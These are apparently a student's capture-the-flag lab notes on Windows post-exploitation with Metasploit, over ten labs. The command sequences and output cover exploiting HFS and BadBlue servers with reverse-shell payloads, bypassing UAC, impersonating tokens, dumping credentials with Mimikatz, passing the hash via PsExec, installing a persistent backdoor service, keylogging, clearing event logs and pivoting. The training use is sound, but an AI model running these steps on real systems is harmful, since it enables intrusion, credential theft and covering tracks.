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🔬Win Post Exploitation - MSF

Lab 1 - HTTP/HFS

🔬 Same HFS Exploitation lab

  • Target IP: 10.2.16.114

  • Metasploit post/multi/manage/shell_to_meterpreter module

service postgresql start && msfconsole -q
db_status
setg RHOSTS 10.2.16.114
setg RHOST 10.2.16.114
workspace -a Windows_PostExp

  • Perform an nmap scan directly into MSF

db_nmap -sV 10.2.16.114
80/tcp    open  http 		 HttpFileServer httpd 2.3
135/tcp   open  msrpc		 Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
3389/tcp  open  ssl/ms-wbt-server?
49152/tcp open  msrpc 		 Microsoft Windows RPC
49153/tcp open  msrpc		 Microsoft Windows RPC
49154/tcp open  msrpc		 Microsoft Windows RPC
49155/tcp open  msrpc		 Microsoft Windows RPC
49165/tcp open  msrpc		 Microsoft Windows RPC
search type:exploit name:rejetto
use exploit/windows/http/rejetto_hfs_exec
options
run

  • In the new Meterpreter session, enumerate the Windows target

Some commands

sysinfo
    Computer        : WIN-OMCNBKR66MN
    OS              : Windows 2012 R2 (6.3 Build 9600).
    Architecture    : x64
    System Language : en_US
    Domain          : WORKGROUP
    Logged On Users : 1
    Meterpreter     : x86/windows

getuid
	Server username: WIN-OMCNBKR66MN\Administrator
help
# Check Windows Meterpreter commands
screenshot
getsystem
	...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).

getuid
	Server username: NT AUTHORITY\SYSTEM
hashdump
# Probably not working
show_mount
    Mounts / Drives
    ===============
    Name  Type   Size (Total)  Size (Free)  Mapped to
    ----  ----   ------------  -----------  ---------
    C:\   fixed   29.66 GiB      8.48 GiB   

    Total mounts/drives: 1
ps
migrate 2356
# explorer.exe

sysinfo
# Meterpreter: x64/windows
cd C:\\
cat flag.txt
	f74c8347798f4082daf4b4570dba094a

Some Post Exploitation

background
sessions
	1 meterpreter x64/windows WIN-OMCNBKR66MN\Administrator @ WIN-OMCNBKR66MN 10.10.24.4:4444 -> 10.2.16.114:49508 (10.2.16.114)

  • Architecture migrate

search migrate
use post/windows/manage/migrate
info
# Description:
#   This module will migrate a Meterpreter session from one process to 
#   another. A given process PID to migrate to or the module can spawn 
#   one and migrate to that newly spawned process.
set SESSION 1
run

# It will not migrate if it's already a x64 process

  • Migration e.g. from x86 service

use post/windows/manage/archmigrate
set SESSION 1
run
Metasploit - post/windows/manage/archmigrate

  • Enumerate current user privileges

search win_privs
use post/windows/gather/win_privs
set SESSION 1
run
Metasploit - post/windows/gather/win_privs

  • Check current and recently logged on users

search enum_logged_on
use post/windows/gather/enum_logged_on_users
set SESSION 1
run
Metasploit - post/windows/gather/enum_logged_on_users

  • Determine if the system is a VM

search checkvm
use post/windows/gather/checkvm
set SESSION 1
run
Metasploit - post/windows/gather/checkvm

  • Enumerate installed programs

search enum_applications
use post/windows/gather/enum_applications
set SESSION 1
run

📌 Applications version is a very useful information. It can lead to a privilege escalation vulnerability!

Metasploit - post/windows/gather/enum_applications
loot

  • The /root/.msf4/loot/ folder can be handy.

loot

  • Check Antivirus

search type:post platform:windows enum_av
use post/windows/gather/enum_av_excluded
# Description:
#   This module will enumerate the file, directory, process and 
#   extension-based exclusions from supported AV products, which 
#   currently includes Microsoft Defender, Microsoft Security 
#   Essentials/Antimalware, and Symantec Endpoint Protection.
set SESSION 1
run
Metasploit - post/windows/gather/enum_av_excluded

  • Enumerate domain computers

search enum_computers
use post/windows/gather/enum_computers
set SESSION 1
run
Metasploit - post/windows/gather/enum_computers

  • Enumerate installed patches

search enum_patches
use post/windows/gather/enum_patches
# Description:
#   This module will attempt to enumerate which patches are applied to a 
#   windows system based on the result of the WMI query: SELECT HotFixID 
#   FROM Win32_QuickFixEngineering

# A KB list can be specified

set SESSION 1
run

# If this doesn't work, migrate to a "NT AUTHORITY\SYSTEM" user service
Metasploit - post/windows/gather/enum_patches

  • Enumerate any shares

search enum_shares
use post/windows/gather/enum_shares
set SESSION 1
run
Metasploit - post/windows/gather/enum_shares

  • Check if RDP is enabled

search rdp platform:windows
use post/windows/manage/enable_rdp
set SESSION 1
run
Metasploit - post/windows/manage/enable_rdp

Lab 2 - UAC Bypass

🔬 UAC Bypass: Memory Injection (Metasploit)

  • Target IP: 10.2.18.116

  • Metasploit Windows Escalate UAC Protection Bypass (In Memory Injection) module

    • This module will bypass Windows UAC by utilizing the trusted publisher certificate through process injection. It will spawn a second shell that has the UAC flag turned off. This module uses the Reflective DLL Injection technique to drop only the DLL payload binary instead of three separate binaries in the standard technique. However, it requires the correct architecture to be selected, (use x64 for SYSWOW64 systems also). If specifying EXE::Custom your DLL should call ExitProcess() after starting your payload in a separate process.

service postgresql start && msfconsole -q
db_status
setg RHOSTS 10.2.18.116
setg RHOST 10.2.18.116
workspace -a UAC_Bypass

  • Perform an nmap scan directly into MSF

db_nmap -sV 10.2.18.116
80/tcp    open  http 		 HttpFileServer httpd 2.3
135/tcp   open  msrpc		 Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
3389/tcp  open  ssl/ms-wbt-server?
49152/tcp open  msrpc 		 Microsoft Windows RPC
49153/tcp open  msrpc 		 Microsoft Windows RPC
49154/tcp open  msrpc 		 Microsoft Windows RPC
49155/tcp open  msrpc 		 Microsoft Windows RPC
49163/tcp open  msrpc 		 Microsoft Windows RPC
49175/tcp open  msrpc 		 Microsoft Windows RPC

Exploitation / Meterpreter x64

search type:exploit name:rejetto
use exploit/windows/http/rejetto_hfs_exec
options
set payload windows/x64/meterpreter/reverse_tcp
run
sysinfo
    Computer        : VICTIM
    OS              : Windows 2012 R2 (6.3 Build 9600).
    Architecture    : x64
    System Language : en_US
    Domain          : WORKGROUP
    Logged On Users : 2
    Meterpreter     : x64/windows

Privilege Escalation

getuid
	Server username: VICTIM\admin
	
getsystem
# gesystem fails

getprivs
    Enabled Process Privileges
    ==========================
    Name
    ----
    SeChangeNotifyPrivilege
    SeIncreaseWorkingSetPrivilege
    SeShutdownPrivilege
    SeTimeZonePrivilege
    SeUndockPrivilege
# "admin" user my be part of the Administrators group
shell

  • On the Windows target cmd

net users
	admin Administrator Guest

net localgroup administrators
    Members
    -------------
    admin
    Administrator
# Yes, "admin" is part of the Administrators group
# but doesn't have administrative privileges through the Meterpreter session
exit

Bypass UAC

background
sessions
	2 meterpreter x64/windows VICTIM\admin @ VICTIM 10.10.24.6:4444 -> 10.2.18.116:49219 (10.2.18.116)
search bypassuac
use exploit/windows/local/bypassuac_injection
set payload windows/x64/meterpreter/reverse_tcp
set SESSION 2
set LPORT 5533
run
[*] Started reverse TCP handler on 10.10.24.6:5533 
[+] Windows 2012 R2 (6.3 Build 9600). may be vulnerable.
[*] UAC is Enabled, checking level...
[+] Part of Administrators group! Continuing...
[+] UAC is set to Default
[+] BypassUAC can bypass this setting, continuing...
[-] Exploit aborted due to failure: bad-config: x86 Target Selected for x64 System
[*] Exploit completed, but no session was created.

  • Select the correct target - x64

set TARGET Windows\ x64
run
Metasploit - exploit/windows/local/bypassuac_injection

  • Now the getsystem command should work

getsystem

Hashes Dump

hashdump
admin:1012:aad3b435b51404eeaad3b435b51404ee:4d6583ed4cef81c2f2ac3c88fc5f3da6:::
Administrator:500:aad3b435b51404eeaad3b435b51404ee:f168d9f8e6c5b893b8c4dfa202228235:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Reveal Flag - Administrator NTLM Hash is: 🚩

f168d9f8e6c5b893b8c4dfa202228235

Lab 3 - Token Impersonation

🔬 Privilege Escalation: Impersonate

service postgresql start && msfconsole -q
db_status
setg RHOSTS 10.2.16.163
setg RHOST 10.2.16.163
workspace -a Impersonate
db_nmap -sV 10.2.16.163
80/tcp   open  http          HttpFileServer httpd 2.3
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds?
3389/tcp open  ms-wbt-server Microsoft Terminal Services

Exploitation / Meterpreter x64

search type:exploit name:rejetto
use exploit/windows/http/rejetto_hfs_exec
options
set payload windows/x64/meterpreter/reverse_tcp
run
getuid
	Server username: NT AUTHORITY\LOCAL SERVICE
	
getprivs
    Enabled Process Privileges
    ==========================
    Name
    ----
    SeAssignPrimaryTokenPrivilege
    SeAuditPrivilege
    SeChangeNotifyPrivilege
    SeCreateGlobalPrivilege
    SeImpersonatePrivilege # Token Impersonation can be performed
    SeIncreaseQuotaPrivilege
    SeIncreaseWorkingSetPrivilege
    SeSystemtimePrivilege
    SeTimeZonePrivilege

hashdump # try to check if the user have sufficient privileges

Privilege Escalation

Incognito

load incognito
list_tokens -u

    Delegation Tokens Available
    ========================================
    ATTACKDEFENSE\Administrator
    NT AUTHORITY\LOCAL SERVICE

    Impersonation Tokens Available
    ========================================
    No tokens available

  • ATTACKDEFENSE\Administrator account access token would provide elevated privileges

impersonate_token "ATTACKDEFENSE\Administrator"

getuid
	Server username: ATTACKDEFENSE\Administrator

ps
migrate 3548
# explorer.exe

hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:5c4d59391f656d5958dab124ffeabc20:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
student:1008:aad3b435b51404eeaad3b435b51404ee:bd4ca1fbe028f3c5066467a7f6a73b0b:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:58f8e0214224aebc2c5f82fb7cb47ca1:::
cd C:\\Users\\Administrator\\Desktop\\
dir
cat flag.txt
	x28c832a39730b7d46d6c38f1ea18e12

Lab 4 - Dump Hashes Mimikatz

🔬 Windows: Meterpreter: Kiwi Extension

service postgresql start && msfconsole -q
db_status
setg RHOSTS 10.2.17.39
setg RHOST 10.2.17.39
workspace -a Mimikatz
db_nmap -sV 10.2.17.39
80/tcp   open  http          BadBlue httpd 2.7
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds?
3389/tcp open  ms-wbt-server Microsoft Terminal Services

Exploitation

search badblue 2.7
use exploit/windows/http/badblue_passthru
set TARGET BadBlue\ EE\ 2.7\ Universal
run
sysinfo
    Computer        : ATTACKDEFENSE
    OS              : Windows 2016+ (10.0 Build 17763).
    Architecture    : x64
    System Language : en_US
    Domain          : WORKGROUP
    Logged On Users : 1
    Meterpreter     : x86/windows

getuid
	Server username: ATTACKDEFENSE\Administrator

Hash Dumping - Kiwi

pgrep lsass
migrate 776

# Meterpreter: x64/windows
load kiwi
creds_all
lsa_dump_sam
lsa_dump_secrets

Hash Dumping - Mimikatz.exe

cd C:\\
mkdir Temp
cd Temp
upload /usr/share/windows-resources/mimikatz/x64/mimikatz.exe
shell

  • Run mimikatz.exe

mimikatz.exe
privilege::debug
	Privilege '20' OK
# I have the required privileges for hash extraction from memory

  • Dump the cache of the lsass process

lsadump::sam
lsadump::secrets
sekurlsa::logonPasswords

Lab 5 - Pass-the-Hash with PsExec

🔬 Windows: Meterpreter: Kiwi Extension - same lab as Lab 4

service postgresql start && msfconsole -q
db_status
setg RHOSTS 10.2.28.123
setg RHOST 10.2.28.123
workspace -a PsExec
db_nmap -sV 10.2.28.123
80/tcp   open  http          BadBlue httpd 2.7
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds?
3389/tcp open  ms-wbt-server Microsoft Terminal Services

Exploitation

use exploit/windows/http/badblue_passthru
set TARGET BadBlue\ EE\ 2.7\ Universal
run
sysinfo
    Computer        : ATTACKDEFENSE
    OS              : Windows 2016+ (10.0 Build 17763).
    Architecture    : x64
    System Language : en_US
    Domain          : WORKGROUP
    Logged On Users : 1
    Meterpreter     : x86/windows

getuid
	Server username: ATTACKDEFENSE\Administrator

Privilege Escalation

pgrep lsass
migrate 780
getuid
	Server username: NT AUTHORITY\SYSTEM

Pass-the-hash - PSExec

hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:e3c61a68f1b89ee6c8ba9507378dc88d:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
student:1008:aad3b435b51404eeaad3b435b51404ee:bd4ca1fbe028f3c5066467a7f6a73b0b:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:58f8e0214224aebc2c5f82fb7cb47ca1:::

  • Use PSExec to login with Administrator user and its password hashes

exit
search psexec
use exploit/windows/smb/psexec
options
set payload windows/x64/meterpreter/reverse_tcp
set SMBUser Administrator
set SMBPass aad3b435b51404eeaad3b435b51404ee:e3c61a68f1b89ee6c8ba9507378dc88d
exploit
getuid
	Server username: NT AUTHORITY\SYSTEM

sysinfo
    Computer        : ATTACKDEFENSE
    OS              : Windows 2016+ (10.0 Build 17763).
    Architecture    : x64
    System Language : en_US
    Domain          : WORKGROUP
    Logged On Users : 1
    Meterpreter     : x64/windows

Lab 6 - Persistence

🔬 Maintaining Access: Persistence Service

  • Target IP: 10.2.20.185

  • Metasploit persistence modules

service postgresql start && msfconsole -q
db_status
setg RHOSTS 10.2.20.185
setg RHOST 10.2.20.185
workspace -a Persistence
db_nmap -sV 10.2.20.185
80/tcp    open  http 		 HttpFileServer httpd 2.3
135/tcp   open  msrpc		 Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
3389/tcp  open  ssl/ms-wbt-server?
49152/tcp open  msrpc 		 Microsoft Windows RPC
49153/tcp open  msrpc 		 Microsoft Windows RPC
49154/tcp open  msrpc 		 Microsoft Windows RPC
49155/tcp open  msrpc 		 Microsoft Windows RPC
49156/tcp open  msrpc 		 Microsoft Windows RPC

Exploitation

search type:exploit name:rejetto
use exploit/windows/http/rejetto_hfs_exec
options
set payload windows/x64/meterpreter/reverse_tcp
run
sysinfo
    Computer        : WIN-OMCNBKR66MN
    OS              : Windows 2012 R2 (6.3 Build 9600).
    Architecture    : x64
    System Language : en_US
    Domain          : WORKGROUP
    Logged On Users : 1
    Meterpreter     : x64/windows

getuid
	Server username: WIN-OMCNBKR66MN\Administrator

Persistence

❗ In order to set up persistence, administrative privileges are required.

background
search platform:windows persistence
use exploit/windows/local/persistence_service
info
# Description:
#   This Module will generate and upload an executable to a remote host, 
#   next will make it a persistent service. It will create a new service 
#   which will start the payload whenever the service is running. Admin 
#   or system privilege is required.
set payload windows/meterpreter/reverse_tcp
set SESSION 1
run

  • Successful maintained access. Once the persistent backdoor is installed, it's going to continue to run (across restarts) as a service and a multi handler listening to a connection will receive a connection from the service.

Metasploit - exploit/windows/local/persistence_service
exit

# Kill all sessions
sessions -K
sessions
	# No active sessions.

  • Regain access to the system

use multi/handler
options
# Set the options as specified for the PERSISTENCE_SERVICE Exploit
set payload windows/meterpreter/reverse_tcp
set LHOST eth1
set LPORT 4444
run

Lab 7 - Enabling RDP

🔬 Windows: Enabling Remote Desktop

  • Target IP: 10.2.21.205

  • Enable RDP on the target machine on port 3389

service postgresql start && msfconsole -q
db_status
setg RHOSTS 10.2.21.205
setg RHOST 10.2.21.205
workspace -a RDP
db_nmap -sV 10.2.21.205
80/tcp    open  http         BadBlue httpd 2.7
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
49152/tcp open  msrpc        Microsoft Windows RPC
49153/tcp open  msrpc        Microsoft Windows RPC
49154/tcp open  msrpc        Microsoft Windows RPC
49155/tcp open  msrpc        Microsoft Windows RPC
49156/tcp open  msrpc        Microsoft Windows RPC
49175/tcp open  msrpc        Microsoft Windows RPC

# RDP 3389 is disabled

Exploitation

use exploit/windows/http/badblue_passthru
run
sysinfo
    Computer        : WIN-OMCNBKR66MN
    OS              : Windows 2012 R2 (6.3 Build 9600).
    Architecture    : x64
    System Language : en_US
    Domain          : WORKGROUP
    Logged On Users : 0
    Meterpreter     : x86/windows

getuid
	Server username: NT AUTHORITY\SYSTEM

background

Enable RDP

search enable_rdp
use post/windows/manage/enable_rdp
options
sessions
set SESSION 1
run
Metasploit - post/windows/manage/enable_rdp
# Verify port 3389 is open
db_nmap -p 3389 10.2.21.205
3389/tcp open  ms-wbt-server

  • To access RDP, login credentials are necessary

sessions
sessions 1
shell
net users
	Administrator Guest

  • Change the Administrator user's password (no recommended in a real-world system)

📌 During a standard Pentest, create another user account, add it to the Administrators group and utilize that one.

net user administrator p4ssword_12344321
exit

Legitimate credentials are now: administrator:p4ssword_12344321

  • In a new Terminal TAB

xfreerdp /u:administrator /p:p4ssword_12344321 /v:10.2.21.205
xfreerdp
Reveal Flag: 🚩

763e1c86da26c66e86a8537fd343280d

Lab 8 - Keylogging

🔬 Windows: File and Keylogging

  • Target IP: 10.2.24.165

  • Metasploit keystroke sniffer

service postgresql start && msfconsole -q
db_status
setg RHOSTS 10.2.24.165
setg RHOST 10.2.24.165
workspace -a Keylogging
db_nmap -sV 10.2.24.165

Exploitation

use exploit/windows/http/badblue_passthru
run
sysinfo
    Computer        : WIN-OMCNBKR66MN
    OS              : Windows 2012 R2 (6.3 Build 9600).
    Architecture    : x64
    System Language : en_US
    Domain          : WORKGROUP
    Logged On Users : 1
    Meterpreter     : x86/windows
getuid
	Server username: WIN-OMCNBKR66MN\Administrator
shell
cd /
type flag.txt
Reveal Flag: 🚩

70a569da306697d64fc6c19afea37d94

Keylogging

pgrep explorer
migrate 2420
help

# Stdapi: User interface Commands
===============================
    Command        Description
    -------        -----------
    enumdesktops   List all accessible desktops and window stations
    getdesktop     Get the current meterpreter desktop
    idletime       Returns the number of seconds the remote user has been idle
    keyboard_send  Send keystrokes
    keyevent       Send key events
    keyscan_dump   Dump the keystroke buffer
    keyscan_start  Start capturing keystrokes
    keyscan_stop   Stop capturing keystrokes
    mouse          Send mouse events
    screenshare    Watch the remote user's desktop in real time
    screenshot     Grab a screenshot of the interactive desktop
    setdesktop     Change the meterpreters current desktop
    uictl          Control some of the user interface components

  • Open a Notepad session on the Target machine.

  • On the Attacker machine, start the keystroke capture

keyscan_start
	Starting the keystroke sniffer ...

  • Input some text into the target machine

  • Back on the attacker machine, capture the entered data

keyscan_dump
keyscan_dump

  • Stop the sniffer

keyscan_stop

Lab 9 - Clearing Event Logs

🔬 Same as Lab 8 - Windows: File and Keylogging

  • Target IP: 10.2.26.66

  • Metasploit clearev Meterpreter option

service postgresql start && msfconsole -q
db_status
setg RHOSTS 10.2.26.66
setg RHOST 10.2.26.66
workspace -a Clearenv
db_nmap -sV 10.2.26.66

Exploitation

use exploit/windows/http/badblue_passthru
run
sysinfo
    Computer        : WIN-OMCNBKR66MN
    OS              : Windows 2012 R2 (6.3 Build 9600).
    Architecture    : x64
    System Language : en_US
    Domain          : WORKGROUP
    Logged On Users : 1
    Meterpreter     : x86/windows

getuid
	Server username: WIN-OMCNBKR66MN\Administrator

Clearing Windows Event Logs

❗ Elevated privileges are necessary to clean the Event logs.

  • From the Meterpreter session clear the event log

clearev

📌 Exploit files or executables need to be cleaned too.

Lab 10 - Pivoting

🔬 Pivoting

  • Target 1 IP: 10.2.30.252

  • Target 2 IP: 10.2.21.166

  • Pivoting technique with a network route to the internal network's subnet

ping 10.2.30.252
    PING 10.2.30.252 (10.2.30.252) 56(84) bytes of data.
    64 bytes from 10.2.30.252: icmp_seq=1 ttl=125 time=2.25 ms
    64 bytes from 10.2.30.252: icmp_seq=2 ttl=125 time=1.99 ms

ping 10.2.21.166
	PING 10.2.21.166 (10.2.21.166) 56(84) bytes of data.
# No response from target2
service postgresql start && msfconsole -q
db_status
workspace -a Pivoting
db_nmap -sV 10.2.30.252

Exploitation

search type:exploit name:rejetto
use exploit/windows/http/rejetto_hfs_exec
options
set RHOSTS 10.2.30.252
run
sysinfo
    Computer        : WIN-OMCNBKR66MN
    OS              : Windows 2012 R2 (6.3 Build 9600).
    Architecture    : x64
    System Language : en_US
    Domain          : WORKGROUP
    Logged On Users : 1
    Meterpreter     : x86/windows

getuid
	Server username: WIN-OMCNBKR66MN\Administrator

ipconfig
    Interface  1
    ============
    Name         : Software Loopback Interface 1
    Hardware MAC : 00:00:00:00:00:00
    MTU          : 4294967295
    IPv4 Address : 127.0.0.1
    IPv4 Netmask : 255.0.0.0
    IPv6 Address : ::1
    IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff

    Interface 12
    ============
    Name         : AWS PV Network Device #0
    Hardware MAC : 02:2a:6e:86:47:fc
    MTU          : 9001
    IPv4 Address : 10.2.30.252 #
    IPv4 Netmask : 255.255.240.0
    IPv6 Address : fe80::9c0b:f00a:d8b4:f04f
    IPv6 Netmask : ffff:ffff:ffff:ffff::

    Interface 24
    ============
    Name         : Microsoft ISATAP Adapter #2
    Hardware MAC : 00:00:00:00:00:00
    MTU          : 1280
    IPv6 Address : fe80::5efe:a02:1efc
    IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff

  • Target2 is on the same Target1 subnet - 10.2.16.0/20 (look at the Interface 12)

    • 10.2.16.0/20 = from 10.2.16.1 to 10.2.31.254

Pivoting

  • From the attacker's machine, a route through "target1 10.2.30.0/20 machine" is needed, to run MSF modules against target2 machine

run autoroute -s 10.2.30.0/20
run autoroute -s 10.2.30.0/20

  • Now, subnet 10.2.30.0/20 can be accessed with MSFconsole

background
sessions -n target-1 -i 1

  • Scan for open ports on the target2 system - 10.2.21.166

search portscan
use auxiliary/scanner/portscan/tcp
set RHOSTS 10.2.21.166
set PORTS 1-100
run

  • 📌 The route is only applicable to MSFconsole, not outside of it

Port Forwarding

  • To perform an nmap scan on target2, a port forwarding need to be set up.

    • e.g. forward the remote port 80 to an attacker machine local port, which will allow to perform a service version enumeration of the target2 service

sessions 1
portfwd add -l 1234 -p 80 -r 10.2.21.166
	[*] Local TCP relay created: :1234 <-> 10.2.21.166:80

background
db_nmap -sS -sV -p 1234 localhost
http://localhost:1234/
search badblue
use exploit/windows/http/badblue_passthru
set payload windows/meterpreter/bind_tcp
set RHOSTS 10.2.21.166
set LPORT 4433
run
Target2 exploited
sysinfo
    Computer        : ATTACKDEFENSE
    OS              : Windows 2016+ (10.0 Build 17763).
    Architecture    : x64
    System Language : en_US
    Domain          : WORKGROUP
    Logged On Users : 1
    Meterpreter     : x86/windows

getuid
	Server username: ATTACKDEFENSE\Administrator
background
sessions -n target-2 -i 2
sessions 2
shell
cd /
type flag.txt
Reveal Flag: 🚩

c46d12f28d87ae0b92b05ebd9fb8e817

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